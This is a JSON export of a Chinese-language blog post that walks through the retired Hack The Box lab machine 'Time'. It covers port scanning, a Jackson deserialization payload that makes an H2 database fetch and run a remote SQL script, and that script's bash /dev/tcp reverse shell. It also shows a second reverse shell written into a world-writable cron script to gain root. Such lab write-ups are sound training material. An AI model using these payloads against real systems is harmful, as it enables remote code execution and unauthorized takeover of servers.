{"id":195,"date":"2024-11-13T11:03:56","date_gmt":"2024-11-13T03:03:56","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=195"},"modified":"2024-11-13T11:03:57","modified_gmt":"2024-11-13T03:03:57","slug":"195","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/195\/","title":{"rendered":"HTB\u9776\u673a Time \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.214<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.10.10.214 (10.10.10.214) 56(84) bytes of data.\n64 bytes from 10.10.10.214: icmp_seq=1 ttl=63 time=97.8 ms\n64 bytes from 10.10.10.214: icmp_seq=2 ttl=63 time=99.8 ms\n64 bytes from 10.10.10.214: icmp_seq=3 ttl=63 time=99.6 ms\n64 bytes from 10.10.10.214: icmp_seq=4 ttl=63 time=99.4 ms\n\n--- 10.10.10.214 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3302ms\nrtt min\/avg\/max\/mdev = 97.818\/99.164\/99.844\/0.796 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u901a\u4fe1\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sat Nov  2 10:06:37 2024 as: nmap -sF -p- --min-rate 4000 -oN .\/fin_report.txt 10.10.10.214\nNmap scan report for 10.10.10.214\nHost is up (0.10s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT   STATE         SERVICE\n22\/tcp open|filtered ssh\n80\/tcp open|filtered http\n\n# Nmap done at Sat Nov  2 10:06:55 2024 -- 1 IP address (1 host up) scanned in 17.97 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>2<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sat Nov  2 10:10:14 2024 as: nmap -sS -sV -A -p 22,80 -oN .\/tcp_report.txt 10.10.10.214\nNmap scan report for 10.10.10.214\nHost is up (0.100s latency).\n\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)\n|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)\n|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)\n80\/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))\n|_http-title: Online JSON parser\n|_http-server-header: Apache\/2.4.41 (Ubuntu)\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 22\/tcp)\nHOP RTT       ADDRESS\n1   100.55 ms 10.10.14.1\n2   100.64 ms 10.10.10.214\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sat Nov  2 10:10:29 2024 -- 1 IP address (1 host up) scanned in 14.66 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sat Nov  2 10:12:00 2024 as: nmap -sU -p- --min-rate 4000 -oN .\/udp_ports.txt 10.10.10.214\nWarning: 10.10.10.214 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.214\nHost is up (0.10s latency).\nAll 65535 scanned ports on 10.10.10.214 are in ignored states.\nNot shown: 65351 open|filtered udp ports (no-response), 184 closed udp ports (port-unreach)\n\n# Nmap done at Sat Nov  2 10:15:02 2024 -- 1 IP address (1 host up) scanned in 181.30 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/time]\n\u2514\u2500# nc -nv 10.10.10.214 22                                       \n(UNKNOWN) [10.10.10.214] 22 (ssh) open\nSSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/time.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730853931800-a25402f8-ee25-4941-bd1a-95f8cb3397a1.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u7f51\u7ad9\u4e3a<code>JSON<\/code>\u6570\u636e\u683c\u5f0f\u5904\u7406\u5668\u3002\u5c1d\u8bd5\u9009\u62e9<code>Beautify<\/code>\u5904\u7406\u65b9\u5f0f\uff0c\u8f93\u5165\u4e00\u4e32<code>JSON<\/code>\u6570\u636e\u5e76\u70b9\u51fb\u5904\u7406\u6309\u94ae\uff1a<\/p>\n<pre><code class=\"language-json\">{\"name\":\"test\",\"age\":15}<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730854067124-37beb19a-a073-42c0-a5b4-a13ab1445667.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u7a0b\u5e8f\u8bfb\u53d6\u4e86<code>JSON<\/code>\u5b57\u7b26\u4e32\u540e\uff0c\u5c06\u5176\u683c\u5f0f\u5316\u5e76\u8f93\u51fa\u5230\u4e86\u9875\u9762\u4e0a\u3002\u5c1d\u8bd5\u5207\u6362\u5230<code>Validate(Beta!)<\/code>\u65b9\u5f0f\uff0c\u89e3\u6790\u521a\u624d\u7684<code>JSON<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730854425736-875d102a-a488-4582-8ca3-0c2c612030ba.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9875\u9762\u8fd4\u56de\u4e86\u62a5\u9519\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-html\">&lt;pre&gt;&lt;pre&gt;Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object&lt;\/pre&gt;&lt;\/pre&gt;<\/code><\/pre>\n<p>\u53ef\u4ee5\u80af\u5b9a\u8be5<code>Java<\/code>\u7f51\u9875\u7a0b\u5e8f\u4f7f\u7528\u4e86<code>Jackson<\/code>\u5de5\u5177\u5904\u7406\u8f93\u5165\u7684<code>JSON<\/code>\u5b57\u7b26\u4e32\uff0c\u5c06\u5176\u521d\u59cb\u5316\u4e3a<code>Jackson<\/code>\u5bf9\u8c61\u540e\uff0c\u4f7f\u7528\u7c7b\u4e2d\u7684\u65b9\u6cd5\u8f93\u51fa\u4e86\u683c\u5f0f\u5316\u540e\u7684<code>JSON<\/code>\u6570\u636e\u3002<\/p>\n<p>\u5c1d\u8bd5\u8054\u7f51\u67e5\u627e<code>Jackson<\/code>\u7684\u6f0f\u6d1e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730854925737-aa75cbd3-a1db-4745-a570-3c426574c969.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u4e24\u4e2a\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff1a<code>CVE-2020-36186<\/code>\u548c<code>CVE-2020-36189<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>Jackson\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u5c1d\u8bd5\u8054\u7f51\u67e5\u627e\u5173\u4e8e<code>Jackson<\/code>\u7684\u6f0f\u6d1e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730861425562-c26dd527-6594-4ac6-8a45-6b7436585953.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u627e\u5230\u4e00\u4e2a<code>Java<\/code>\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u7f16\u53f7<code>CVE-2019-14283<\/code>\u3002<\/p>\n<p>\u6839\u636e\u6587\u7ae0\u63cf\u8ff0\uff0c\u9996\u5148\u7f16\u5199\u4e00\u4e2a\u53ef\u4ee5\u6267\u884c\u53cd\u5f39Shell\u547d\u4ee4\u7684<code>SQL<\/code>\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-plsql\">CREATE ALIAS SHELLEXEC AS $ String shellexec(String cmd) throws java.io.IOException {\n        String[] command = {\"bash\", \"-c\", cmd};\n        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter(\"\\A\");\n        return s.hasNext() ? s.next() : \"\";  }\n$;\nCALL SHELLEXEC('bash -i &gt;&amp; \/dev\/tcp\/10.10.14.2\/443 0&gt;&amp;1')<\/code><\/pre>\n<p>\u968f\u540e\u5728\u672c\u5730\u542f\u52a8<code>SimpleHTTPServer<\/code>\u548c<code>Netcat<\/code>\u76d1\u542c\uff0c\u7136\u540e\u6253\u5f00<code>BurpSuite<\/code>\u62e6\u622a\u8bf7\u6c42\u5305\u5e76\u5c06\u5176\u53d1\u9001\u5230<code>Repeater<\/code>\u6a21\u5757\uff0c\u4fee\u6539<code>HTTP POST<\/code>\u53c2\u6570<code>data<\/code>\uff1a<\/p>\n<pre><code class=\"language-json\">[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http:\/\/10.10.14.2\/reverse443.sql'\"}]<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730861829779-80e2973f-1a2e-483e-9480-4bf8a4f132f1.png\" alt=\"\" \/><\/p>\n<p><strong>\u53cd\u5f39Shell\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u4fee\u6539\u5b9a\u65f6\u811a\u672c\u63d0\u6743<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u76f4\u63a5\u4e0a\u4f20\u4e86<code>pspy<\/code>\u7cfb\u7edf\u8fdb\u7a0b\u76d1\u63a7\u5de5\u5177\u8fdb\u884c\u679a\u4e3e\uff0c\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u5728\u4e0d\u65ad\u5730\u8fd0\u884c<code>\/usr\/bin\/timer_backup.sh<\/code>\u811a\u672c\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730867529096-8aa01d3f-c42a-4af3-8cd1-3f8a6e0ebebd.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u67e5\u770b\u8be5\u6587\u4ef6\u6743\u9650\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730867587108-227a6649-1433-4a80-bc9d-be1ea0909fb7.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u811a\u672c\u6587\u4ef6\u5c5e\u4e3b\u4e3a<code>pericles<\/code>\uff0c\u6743\u9650\u4e3a<code>766<\/code>\uff0c\u76f4\u63a5\u5728\u811a\u672c\u672b\u5c3e\u6dfb\u52a0\u53cd\u5f39Shell\u7684\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-shell\">echo \"\/bin\/bash -c 'bash -i &gt;&amp;\/dev\/tcp\/10.10.14.2\/4444 0&gt;&amp;1'\" &gt; \/usr\/bin\/timer_backup.sh<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730868224043-dcdfefcf-1bf6-4c57-ad51-8cc56d82d3f1.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u5728\u672c\u5730\u4f7f\u7528<code>netcat<\/code>\u76d1\u542c<code>4444<\/code>\u7aef\u53e3\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730868319783-831be88b-2a9a-497d-b044-4ca54afc0d9f.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.214 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.10.214 (10.10.10.21 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-195","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/195","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=195"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/195\/revisions"}],"predecessor-version":[{"id":196,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/195\/revisions\/196"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=195"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=195"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}